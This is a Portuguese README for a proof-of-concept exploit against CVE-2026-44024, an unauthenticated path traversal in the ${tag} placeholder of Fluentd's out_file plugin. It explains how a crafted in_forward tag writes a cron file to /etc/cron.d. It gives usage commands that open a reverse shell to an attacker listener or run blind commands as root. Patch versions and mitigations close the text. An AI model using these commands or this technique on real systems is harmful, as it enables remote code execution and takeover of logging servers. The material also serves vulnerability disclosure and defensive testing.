
Prova de conceito de exploit para CVE-2026-44024, que utiliza uma tag in_forward especialmente criada para escrever arquivos arbitrários através do path traversal do out_file do Fluentd e disparar execução de comandos.
${tag} do out_file do FluentdEscrita arbitrária de arquivos não autenticada no out_file do Fluentd
por meio do espaço reservado ${tag}.
out_file permite que operadores modelem o caminho de saída com o espaço reservado ${tag}
(por exemplo, path /var/log/fluent/${tag}). Output#extract_placeholders
(lib/fluent/plugin/output.rb) substitui a tag do evento no caminho (CWE-22):
../if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
Eventos que chegam pelo protocolo in_forward (porta 24224) carregam uma tag obtida literalmente da
mensagem na rede, e allow_anonymous_source tem como padrão true; portanto, um atacante não autenticado
pode definir uma tag como ../../../../../../etc/cron.d/pwn para escapar do diretório configurado e escrever em
um caminho absoluto arbitrário como o usuário do processo fluentd.
<= 1.19.21.19.3 (rejeita componentes ..//absolutos na tag antes de expandir ${tag}, PR #5391)in_forward, não in_httpin_http deriva a tag do caminho da URL com path.split('/').join('.'), o que transforma cada /
em . — portanto, ../ não sobrevive no Linux (e %2f não é decodificado). Somente o protocolo
forward (24224) passa a tag byte a byte. Este exploit fala o suficiente desse protocolo (uma
mensagem msgpack [tag, time, record]) com um mini encoder embutido — sem dependências.
Apenas a biblioteca padrão do Python 3. O alvo deve executar um Fluentd vulnerável com um out_file cujo
path contenha ${tag}, e uma fonte in_forward anônima (padrão). Transformar a escrita em um
drop de cron limpo requer um out_file que não modifique o nome do arquivo/conteúdo (por exemplo,
add_path_suffix false, append true, sem timekey, formato single_value) — caso contrário, use a
escrita de arquivo para sobrescrever um arquivo de caminho conhecido.
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Envia um evento forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]
para a porta 24224. O out_file expande ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn, e (com um formato single_value) grava o msg do registro textualmente → uma linha
de cron válida. O cron a executa em ~60 s como o usuário do fluentd (root quando o fluentd roda como root).
Atualize o Fluentd para ≥ 1.19.3; não exponha a porta forward a redes não confiáveis (ative a autenticação
por chave compartilhada / allow_anonymous_source false); não execute o fluentd como root; evite ${tag}
em caminhos de saída para entradas não confiáveis.
Apenas para testes de segurança autorizados e fins educacionais. Utilize-o somente contra sistemas seus ou dos quais você tenha permissão explícita para testar.